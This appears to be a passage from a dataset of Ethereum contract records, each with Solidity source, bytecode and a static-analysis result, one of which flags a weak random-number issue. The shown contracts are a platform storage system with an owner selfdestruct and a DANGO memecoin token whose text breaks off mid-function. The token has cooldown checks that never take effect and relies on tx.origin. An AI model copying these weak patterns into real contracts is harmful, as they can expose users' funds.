60649250839150611c4d9050565b069392505050565b60c060405190810160405280600081526020016060815260200160008152602001600067ffffffffffffffff168152602001600067ffffffffffffffff168152602001600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611ce157805160ff1916838001178555611d0e565b82800160010185558215611d0e579182015b82811115611d0e578251825591602001919060010190611cf3565b50611d1a929150611d1e565b5090565b610aef91905b80821115611d1a5760008155600101611d245600a165627a7a72305820fe135e9a1c1b156eca169341f6d82fe4c87677920917000a5da0235922ce4fd40029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}]}}
| 2,485 |
0x742fB78e60768E07bcfbf4BFae8b182C9b6c4fbc
|
pragma solidity ^0.4.24;
// @author Roy Xu @dev-xu
// @title A shared storage contract for platform contracts to store and retrieve data
// @notice This contract holds all long-term data for smart-contract systems
// @dev The bytes32 hashes are derived from keccak256(variableName, uniqueID) => value
// @dec Can enable upgradeable contracts by setting a contract manager
contract Database {
// Storage Variables
mapping(bytes32 => uint) public uintStorage;
mapping(bytes32 => string) public stringStorage;
mapping(bytes32 => address) public addressStorage;
mapping(bytes32 => bytes) public bytesStorage;
mapping(bytes32 => bytes32) public bytes32Storage;
mapping(bytes32 => bool) public boolStorage;
mapping(bytes32 => int) public intStorage;
// @notice Constructor: Sets the owners of the platform
// @dev Owners must set the contract manager to add more contracts
constructor(address[] _owners, bool _upgradeable)
public {
for(uint i=0; i<_owners.length; i++){
require(_owners[i] != address(0), "Empty address");
boolStorage[keccak256(abi.encodePacked("owner", _owners[i]))] = true;
emit LogInitialized(_owners[i], _upgradeable);
}
if (_upgradeable){
boolStorage[keccak256("upgradeable")] = true;
}
}
// @notice ContractManager will be the only contract that can add/remove contracts on the platform.
// @param (address) _contractManager is the contract which can upgrade/remove contracts to platform
function enableContractManagement(address _contractManager)
external
returns (bool){
require(_contractManager != address(0), "Empty address");
require(boolStorage[keccak256(abi.encodePacked("owner", msg.sender))], "Not owner");
require(addressStorage[keccak256(abi.encodePacked("contract", "ContractManager"))] == address(0), "There is already a contract manager");
addressStorage[keccak256(abi.encodePacked("contract", "ContractManager"))] = _contractManager;
boolStorage[keccak256(abi.encodePacked("contract", _contractManager))] = true;
return true;
}
// @notice Storage functions
function setAddress(bytes32 _key, address _value)
onlyApprovedContract
external {
addressStorage[_key] = _value;
}
function setUint(bytes32 _key, uint _value)
onlyApprovedContract
external {
uintStorage[_key] = _value;
}
function setString(bytes32 _key, string _value)
onlyApprovedContract
external {
stringStorage[_key] = _value;
}
function setBytes(bytes32 _key, bytes _value)
onlyApprovedContract
external {
bytesStorage[_key] = _value;
}
function setBytes32(bytes32 _key, bytes32 _value)
onlyApprovedContract
external {
bytes32Storage[_key] = _value;
}
function setBool(bytes32 _key, bool _value)
onlyApprovedContract
external {
boolStorage[_key] = _value;
}
function setInt(bytes32 _key, int _value)
onlyApprovedContract
external {
intStorage[_key] = _value;
}
// Deletion functions: Can alternatively use setter functions and set to null value (ie. uint = 0)
function deleteAddress(bytes32 _key)
onlyApprovedContract
external {
delete addressStorage[_key];
}
function deleteUint(bytes32 _key)
onlyApprovedContract
external {
delete uintStorage[_key];
}
function deleteString(bytes32 _key)
onlyApprovedContract
external {
delete stringStorage[_key];
}
function deleteBytes(bytes32 _key)
onlyApprovedContract
external {
delete bytesStorage[_key];
}
function deleteBytes32(bytes32 _key)
onlyApprovedContract
external {
delete bytes32Storage[_key];
}
function deleteBool(bytes32 _key)
onlyApprovedContract
external {
delete boolStorage[_key];
}
function deleteInt(bytes32 _key)
onlyApprovedContract
external {
delete intStorage[_key];
}
// --------------------------------------------------------------------------------------
// Modifiers
// --------------------------------------------------------------------------------------
// Caller must be registered as a contract through ContractManager.sol
modifier onlyApprovedContract() {
require(boolStorage[keccak256(abi.encodePacked("contract", msg.sender))]);
_;
}
// --------------------------------------------------------------------------------------
// Events
// --------------------------------------------------------------------------------------
event LogInitialized(address _owner, bool _upgradeable);
}
// Database interface
interface DBInterface {
function setContractManager(address _contractManager)
external;
// --------------------Set Functions------------------------
function setAddress(bytes32 _key, address _value)
external;
function setUint(bytes32 _key, uint _value)
external;
function setString(bytes32 _key, string _value)
external;
function setBytes(bytes32 _key, bytes _value)
external;
function setBytes32(bytes32 _key, bytes32 _value)
external;
function setBool(bytes32 _key, bool _value)
external;
function setInt(bytes32 _key, int _value)
external;
// -------------- Deletion Functions ------------------
function deleteAddress(bytes32 _key)
external;
function deleteUint(bytes32 _key)
external;
function deleteString(bytes32 _key)
external;
function deleteBytes(bytes32 _key)
external;
function deleteBytes32(bytes32 _key)
external;
function deleteBool(bytes32 _key)
external;
function deleteInt(bytes32 _key)
external;
// ----------------Variable Getters---------------------
function uintStorage(bytes32 _key)
external
view
returns (uint);
function stringStorage(bytes32 _key)
external
view
returns (string);
function addressStorage(bytes32 _key)
external
view
returns (address);
function bytesStorage(bytes32 _key)
external
view
returns (bytes);
function bytes32Storage(bytes32 _key)
external
view
returns (bytes32);
function boolStorage(bytes32 _key)
external
view
returns (bool);
function intStorage(bytes32 _key)
external
view
returns (bool);
}
contract Events {
DBInterface public database;
constructor(address _database) public{
database = DBInterface(_database);
}
function message(string _message)
external
onlyApprovedContract {
emit LogEvent(_message, keccak256(abi.encodePacked(_message)), tx.origin);
}
function transaction(string _message, address _from, address _to, uint _amount, address _token)
external
onlyApprovedContract {
emit LogTransaction(_message, keccak256(abi.encodePacked(_message)), _from, _to, _amount, _token, tx.origin);
}
function registration(string _message, address _account)
external
onlyApprovedContract {
emit LogAddress(_message, keccak256(abi.encodePacked(_message)), _account, tx.origin);
}
function contractChange(string _message, address _account, string _name)
external
onlyApprovedContract {
emit LogContractChange(_message, keccak256(abi.encodePacked(_message)), _account, _name, tx.origin);
}
function asset(string _message, string _uri, address _assetAddress, address _manager)
external
onlyApprovedContract {
emit LogAsset(_message, keccak256(abi.encodePacked(_message)), _uri, keccak256(abi.encodePacked(_uri)), _assetAddress, _manager, tx.origin);
}
function escrow(string _message, address _assetAddress, bytes32 _escrowID, address _manager, uint _amount)
external
onlyApprovedContract {
emit LogEscrow(_message, keccak256(abi.encodePacked(_message)), _assetAddress, _escrowID, _manager, _amount, tx.origin);
}
function order(string _message, bytes32 _orderID, uint _amount, uint _price)
external
onlyApprovedContract {
emit LogOrder(_message, keccak256(abi.encodePacked(_message)), _orderID, _amount, _price, tx.origin);
}
function exchange(string _message, bytes32 _orderID, address _assetAddress, address _account)
external
onlyApprovedContract {
emit LogExchange(_message, keccak256(abi.encodePacked(_message)), _orderID, _assetAddress, _account, tx.origin);
}
function operator(string _message, bytes32 _id, string _name, string _ipfs, address _account)
external
onlyApprovedContract {
emit LogOperator(_message, keccak256(abi.encodePacked(_message)), _id, _name, _ipfs, _account, tx.origin);
}
function consensus(string _message, bytes32 _executionID, bytes32 _votesID, uint _votes, uint _tokens, uint _quorum)
external
onlyApprovedContract {
emit LogConsensus(_message, keccak256(abi.encodePacked(_message)), _executionID, _votesID, _votes, _tokens, _quorum, tx.origin);
}
//Generalized events
event LogEvent(string message, bytes32 indexed messageID, address indexed origin);
event LogTransaction(string message, bytes32 indexed messageID, address indexed from, address indexed to, uint amount, address token, address origin); //amount and token will be empty on some events
event LogAddress(string message, bytes32 indexed messageID, address indexed account, address indexed origin);
event LogContractChange(string message, bytes32 indexed messageID, address indexed account, string name, address indexed origin);
event LogAsset(string message, bytes32 indexed messageID, string uri, bytes32 indexed assetID, address asset, address manager, address indexed origin);
event LogEscrow(string message, bytes32 indexed messageID, address asset, bytes32 escrowID, address indexed manager, uint amount, address indexed origin);
event LogOrder(string message, bytes32 indexed messageID, bytes32 indexed orderID, uint amount, uint price, address indexed origin);
event LogExchange(string message, bytes32 indexed messageID, bytes32 orderID, address indexed asset, address account, address indexed origin);
event LogOperator(string message, bytes32 indexed messageID, bytes32 id, string name, string ipfs, address indexed account, address indexed origin);
event LogConsensus(string message, bytes32 indexed messageID, bytes32 executionID, bytes32 votesID, uint votes, uint tokens, uint quorum, address indexed origin);
// --------------------------------------------------------------------------------------
// Caller must be registered as a contract through ContractManager.sol
// --------------------------------------------------------------------------------------
modifier onlyApprovedContract() {
require(database.boolStorage(keccak256(abi.encodePacked("contract", msg.sender))));
_;
}
}
contract Platform {
Database public database;
Events public events;
// @notice initialize database
constructor(address _database, address _events)
public {
database = Database(_database);
events = Events(_events);
}
// @notice The wallet to receive payments here before initiating crowdsale
// @dev will overwrite old wallet address
function setPlatformFundsWallet(address _walletAddress)
external
onlyOwner {
database.setAddress(keccak256(abi.encodePacked("platform.wallet.funds")), _walletAddress);
//emit LogPlatformWallet(_walletAddress);
events.registration('Platform funds wallet', _walletAddress);
}
// @notice The wallet to receive asset tokens here before initiating crowdsale
// @dev will overwrite old wallet address
function setPlatformAssetsWallet(address _walletAddress)
external
onlyOwner {
database.setAddress(keccak256(abi.encodePacked("platform.wallet.assets")), _walletAddress);
//emit LogPlatformWallet(_walletAddress);
events.registration('Platform assets wallet', _walletAddress);
}
// @notice The token that the platform uses for holding collateral
function setPlatformToken(address _tokenAddress)
external
onlyOwner {
//@dev Set the address for the platform token
database.setAddress(keccak256(abi.encodePacked("platform.token")), _tokenAddress);
events.registration('Platform token', _tokenAddress);
}
// @notice The percentage of the payment that the platform receives when investors contribute
function setPlatformFee(uint _percent)
external
onlyOwner {
database.setUint(keccak256(abi.encodePacked("platform.fee")), _percent);
}
// @notice Set the token address for the platform listing fee
function setPlatformListingFeeToken(address _tokenAddress)
external
onlyOwner {
//@dev Set the token address for the platform listing fee
database.setAddress(keccak256(abi.encodePacked("platform.listingFeeToken")), _tokenAddress);
events.registration('Platform listing fee token', _tokenAddress);
}
// @notice The amount of DAI the platform receives when an asset is listed
function setPlatformListingFee(uint _amount)
external
onlyOwner {
database.setUint(keccak256(abi.encodePacked("platform.listingFee")), _amount);
}
// @notice The percentage of the asset tokens the platform receives from the crowdsale
function setPlatformPercentage(uint _percent)
external
onlyOwner {
database.setUint(keccak256(abi.encodePacked("platform.percentage")), _percent);
}
// @notice Set the address of the token factory that clones the asset tokens
function setTokenFactory(address _factory)
external
onlyOwner {
database.setAddress(keccak256(abi.encodePacked("platform.tokenFactory")), _factory);
}
/*
function setBurnrate(uint _percent)
external
onlyOwner {
require(_percent < 100 && _percent >= 0);
database.setUint(keccak256(abi.encodePacked("platform.burnRate")), _percent);
}
*/
// @notice platform owners can destroy contract here
function destroy()
onlyOwner
external {
events.transaction('PlatformFunds destroyed', address(this), msg.sender, address(this).balance, address(0));
selfdestruct(msg.sender);
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Modifiers //
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// @notice Sender must be a registered owner
modifier onlyOwner {
require(database.boolStorage(keccak256(abi.encodePacked("owner", msg.sender))));
_;
}
}
|
0x6080604052600436106100955763ffffffff60e060020a6000350416630255a03b811461009a57806312e8e2c3146100bd57806314d39bad146100d55780632093f3c5146100ed578063257e8dde1461010557806329309d8b146101265780632f73a9f814610147578063713b563f146101685780638219a9581461019957806383197ef0146101ba578063b5f8558c146101cf575b600080fd5b3480156100a657600080fd5b506100bb600160a060020a03600435166101e4565b005b3480156100c957600080fd5b506100bb6004356104a3565b3480156100e157600080fd5b506100bb6004356106a2565b3480156100f957600080fd5b506100bb600435610834565b34801561011157600080fd5b506100bb600160a060020a03600435166109c6565b34801561013257600080fd5b506100bb600160a060020a0360043516610c6a565b34801561015357600080fd5b506100bb600160a060020a0360043516610f0e565b34801561017457600080fd5b5061017d611115565b60408051600160a060020a039092168252519081900360200190f35b3480156101a557600080fd5b506100bb600160a060020a0360043516611124565b3480156101c657600080fd5b506100bb6113c8565b3480156101db57600080fd5b5061017d6115a2565b6000546040805160d960020a6437bbb732b902602080830191909152606060020a33026025830152825160198184030181526039909201928390528151600160a060020a0390941693633b7bfda093918291908401908083835b6020831061025d5780518252601f19909201916020918201910161023e565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b1580156102be57600080fd5b505af11580156102d2573d6000803e3d6000fd5b505050506040513d60208110156102e857600080fd5b505115156102f557600080fd5b600054604080517f706c6174666f726d2e746f6b656e0000000000000000000000000000000000006020808301919091528251808303600e018152602e909201928390528151600160a060020a039094169363ca446dd993918291908401908083835b602083106103775780518252601f199092019160209182019101610358565b5181516020939093036101000a60001901801990911692169190911790526040805191909301819003812063ffffffff871660e060020a0282526004820152600160a060020a0388166024820152915160448084019550600094509092839003019050818387803b1580156103eb57600080fd5b505af11580156103ff573d6000803e3d6000fd5b50506001546040805160e260020a632ece730f028152600160a060020a03868116602483015260048201839052600e60448301527f506c6174666f726d20746f6b656e0000000000000000000000000000000000006064830152915191909216935063bb39cc3c9250608480830192600092919082900301818387803b15801561048857600080fd5b505af115801561049c573d6000803e3d6000fd5b5050505050565b6000546040805160d960020a6437bbb732b902602080830191909152606060020a33026025830152825160198184030181526039909201928390528151600160a060020a0390941693633b7bfda093918291908401908083835b6020831061051c5780518252601f1990920191602091820191016104fd565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b15801561057d57600080fd5b505af1158015610591573d6000803e3d6000fd5b505050506040513d60208110156105a757600080fd5b505115156105b457600080fd5b600054604080517f706c6174666f726d2e66656500000000000000000000000000000000000000006020808301919091528251808303600c018152602c909201928390528151600160a060020a039094169363e2a4853a93918291908401908083835b602083106106365780518252601f199092019160209182019101610617565b5181516020939093036101000a60001901801990911692169190911790526040805191909301819003812063ffffffff871660e060020a028252600482015260248101889052915160448084019550600094509092839003019050818387803b15801561048857600080fd5b6000546040805160d960020a6437bbb732b902602080830191909152606060020a33026025830152825160198184030181526039909201928390528151600160a060020a0390941693633b7bfda093918291908401908083835b6020831061071b5780518252601f1990920191602091820191016106fc565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b15801561077c57600080fd5b505af1158015610790573d6000803e3d6000fd5b505050506040513d60208110156107a657600080fd5b505115156107b357600080fd5b600054604080517f706c6174666f726d2e70657263656e7461676500000000000000000000000000602080830191909152825180830360130181526033909201928390528151600160a060020a039094169363e2a4853a9391829190840190808383602083106106365780518252601f199092019160209182019101610617565b6000546040805160d960020a6437bbb732b902602080830191909152606060020a33026025830152825160198184030181526039909201928390528151600160a060020a0390941693633b7bfda093918291908401908083835b602083106108ad5780518252601f19909201916020918201910161088e565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b15801561090e57600080fd5b505af1158015610922573d6000803e3d6000fd5b505050506040513d602081101561093857600080fd5b5051151561094557600080fd5b600054604080517f706c6174666f726d2e6c697374696e6746656500000000000000000000000000602080830191909152825180830360130181526033909201928390528151600160a060020a039094169363e2a4853a9391829190840190808383602083106106365780518252601f199092019160209182019101610617565b6000546040805160d960020a6437bbb732b902602080830191909152606060020a33026025830152825160198184030181526039909201928390528151600160a060020a0390941693633b7bfda093918291908401908083835b60208310610a3f5780518252601f199092019160209182019101610a20565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b158015610aa057600080fd5b505af1158015610ab4573d6000803e3d6000fd5b505050506040513d6020811015610aca57600080fd5b50511515610ad757600080fd5b600054604080517f706c6174666f726d2e77616c6c65742e61737365747300000000000000000000602080830191909152825180830360160181526036909201928390528151600160a060020a039094169363ca446dd993918291908401908083835b60208310610b595780518252601f199092019160209182019101610b3a565b5181516020939093036101000a60001901801990911692169190911790526040805191909301819003812063ffffffff871660e060020a0282526004820152600160a060020a0388166024820152915160448084019550600094509092839003019050818387803b158015610bcd57600080fd5b505af1158015610be1573d6000803e3d6000fd5b50506001546040805160e260020a632ece730f028152600160a060020a03868116602483015260048201839052601660448301527f506c6174666f726d206173736574732077616c6c6574000000000000000000006064830152915191909216935063bb39cc3c9250608480830192600092919082900301818387803b15801561048857600080fd5b6000546040805160d960020a6437bbb732b902602080830191909152606060020a33026025830152825160198184030181526039909201928390528151600160a060020a0390941693633b7bfda093918291908401908083835b60208310610ce35780518252601f199092019160209182019101610cc4565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b158015610d4457600080fd5b505af1158015610d58573d6000803e3d6000fd5b505050506040513d6020811015610d6e57600080fd5b50511515610d7b57600080fd5b600054604080517f706c6174666f726d2e6c697374696e67466565546f6b656e0000000000000000602080830191909152825180830360180181526038909201928390528151600160a060020a039094169363ca446dd993918291908401908083835b60208310610dfd5780518252601f199092019160209182019101610dde565b5181516020939093036101000a60001901801990911692169190911790526040805191909301819003812063ffffffff871660e060020a0282526004820152600160a060020a0388166024820152915160448084019550600094509092839003019050818387803b158015610e7157600080fd5b505af1158015610e85573d6000803e3d6000fd5b50506001546040805160e260020a632ece730f028152600160a060020a03868116602483015260048201839052601a60448301527f506c6174666f726d206c697374696e672066656520746f6b656e0000000000006064830152915191909216935063bb39cc3c9250608480830192600092919082900301818387803b15801561048857600080fd5b6000546040805160d960020a6437bbb732b902602080830191909152606060020a33026025830152825160198184030181526039909201928390528151600160a060020a0390941693633b7bfda093918291908401908083835b60208310610f875780518252601f199092019160209182019101610f68565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b158015610fe857600080fd5b505af1158015610ffc573d6000803e3d6000fd5b505050506040513d602081101561101257600080fd5b5051151561101f57600080fd5b600054604080517f706c6174666f726d2e746f6b656e466163746f72790000000000000000000000602080830191909152825180830360150181526035909201928390528151600160a060020a039094169363ca446dd993918291908401908083835b602083106110a15780518252601f199092019160209182019101611082565b5181516020939093036101000a60001901801990911692169190911790526040805191909301819003812063ffffffff871660e060020a0282526004820152600160a060020a0388166024820152915160448084019550600094509092839003019050818387803b15801561048857600080fd5b600054600160a060020a031681565b6000546040805160d960020a6437bbb732b902602080830191909152606060020a33026025830152825160198184030181526039909201928390528151600160a060020a0390941693633b7bfda093918291908401908083835b6020831061119d5780518252601f19909201916020918201910161117e565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b1580156111fe57600080fd5b505af1158015611212573d6000803e3d6000fd5b505050506040513d602081101561122857600080fd5b5051151561123557600080fd5b600054604080517f706c6174666f726d2e77616c6c65742e66756e64730000000000000000000000602080830191909152825180830360150181526035909201928390528151600160a060020a039094169363ca446dd993918291908401908083835b602083106112b75780518252601f199092019160209182019101611298565b5181516020939093036101000a60001901801990911692169190911790526040805191909301819003812063ffffffff871660e060020a0282526004820152600160a060020a0388166024820152915160448084019550600094509092839003019050818387803b15801561132b57600080fd5b505af115801561133f573d6000803e3d6000fd5b50506001546040805160e260020a632ece730f028152600160a060020a03868116602483015260048201839052601560448301527f506c6174666f726d2066756e64732077616c6c657400000000000000000000006064830152915191909216935063bb39cc3c9250608480830192600092919082900301818387803b15801561048857600080fd5b6000546040805160d960020a6437bbb732b902602080830191909152606060020a33026025830152825160198184030181526039909201928390528151600160a060020a0390941693633b7bfda093918291908401908083835b602083106114415780518252601f199092019160209182019101611422565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b1580156114a257600080fd5b505af11580156114b6573d6000803e3d6000fd5b505050506040513d60208110156114cc57600080fd5b505115156114d957600080fd5b600154604080517f42b425aa000000000000000000000000000000000000000000000000000000008152306024820181905233604483015231606482015260006084820181905260a06004830152601760a48301527f506c6174666f726d46756e64732064657374726f79656400000000000000000060c48301529151600160a060020a03909316926342b425aa9260e48084019391929182900301818387803b15801561158657600080fd5b505af115801561159a573d6000803e3d6000fd5b503392505050ff5b600154600160a060020a0316815600a165627a7a7230582079dab99c7bb2bbcf1f77e95e4cf8fe8c157c1e79ef7542eef55c5a58a3be949b0029
|
{"success": true, "error": null, "results": {}}
| 2,486 |
0xb0c23b44a80a425098d08f9afc1e2a8fc0ac99e0
|
/**
888 88e e Y8b Y88b Y88 e88'Y88 e88 88e
888 888b d8b Y8b Y88b Y8 d888 'Y d888 888b
888 8888D d888b Y8b b Y88b Y C8888 eeee C8888 8888D
888 888P d888888888b 8b Y88b Y888 888P Y888 888P
888 88" d8888888b Y8b 88b Y88b "88 88" "88 88"
DANGO - a delicious ERC20 memecoin
https://t.me/DANGOerc
https://dangotoken.com
* TOKENOMICS
* 1,000,000,000,000 token supply
* FIRST TWO MINUTES: 5,000,000,000 max buy / 30-second buy cooldown (lifted automatically two minutes post-launch)
* 15-second cooldown to sell after a buy
* 9% tax on buys and 11% tax on sells
* 16% fee on sells within first (1) hour post-launch
* 10% of fee ETH sent to pair, increasing paired value without creating new LP tokens
* Max wallet of 3% of total supply (can be disabled after stabilization)
* No team tokens, no presale
SPDX-License-Identifier: UNLICENSED
*/
pragma solidity ^0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface IUniswapV2Pair {
event Sync(uint112 reserve0, uint112 reserve1);
function sync() external;
}
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
}
contract DANGO is Context, IERC20, Ownable { ////
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint private constant _totalSupply = 1e12 * 10**9;
string public constant name = unicode"Dango"; ////
string public constant symbol = unicode"DANGO"; ////
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
IUniswapV2Pair private interfacePair;
address payable public _FeeAddress1;
address payable public _FeeAddress2;
address public uniswapV2Pair;
uint public _buyFee = 9;
uint public _sellFee = 11;
uint private _lpAddAmt = 10;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool public _maxHeldLimit;
bool public _tradingOpen;
bool private _inSwap;
struct User {
uint buy;
bool exists;
}
event FeesUpdated(uint _buy, uint _sell);
event LpAddAmtUpdated(uint _percent);
event maxHeldLimitSwitched(bool toggle);
event FeeAddress1Updated(address _feewallet1);
event FeeAddress2Updated(address _feewallet2);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable FeeAddress1, address payable FeeAddress2) {
_FeeAddress1 = FeeAddress1;
_FeeAddress2 = FeeAddress2;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress1] = true;
_isExcludedFromFee[FeeAddress2] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
require (recipient == tx.origin, "pls no bot");
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
require(block.timestamp != _launchedAt, "pls no snip");
if(_maxHeldLimit) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "Max held limit."); //// 3%
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (120 seconds)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (30 seconds), "Cooldown hasn't expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
// sell
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Cooldown hasn't expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(contractETHBalance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
uint fee1;
uint fee2;
if(_lpAddAmt > 0) {
uint pool = (amount * _lpAddAmt) / 100; //// 10% WETH sent to LP
IWETH(uniswapV2Router.WETH()).deposit{value: pool}();
IWETH(uniswapV2Router.WETH()).transfer(uniswapV2Pair, IERC20(uniswapV2Router.WETH()).balanceOf(address(this)));
uint remainder = amount - pool;
fee1 = remainder / 2;
fee2 = remainder - fee1;
_FeeAddress1.transfer(fee1);
_FeeAddress2.transfer(fee2);
interfacePair.sync();
} else {
fee1 = amount / 2;
fee2 = amount - fee1;
_FeeAddress1.transfer(fee1);
_FeeAddress2.transfer(fee2);
}
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
if(block.timestamp < _launchedAt + (1 hours)) {
fee += 5;
}
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
interfacePair = pair;
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_maxHeldLimit = true;
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 5000000001 * 10**9; //// .5%
_maxHeldTokens = 30000000000 * 10**9; //// 3%
}
function manualswap() external {
require(_msgSender() == _FeeAddress1);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress1);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _FeeAddress1);
require(buy <= 11 && sell <= 11, "Don't be greedy.");
_buyFee = buy;
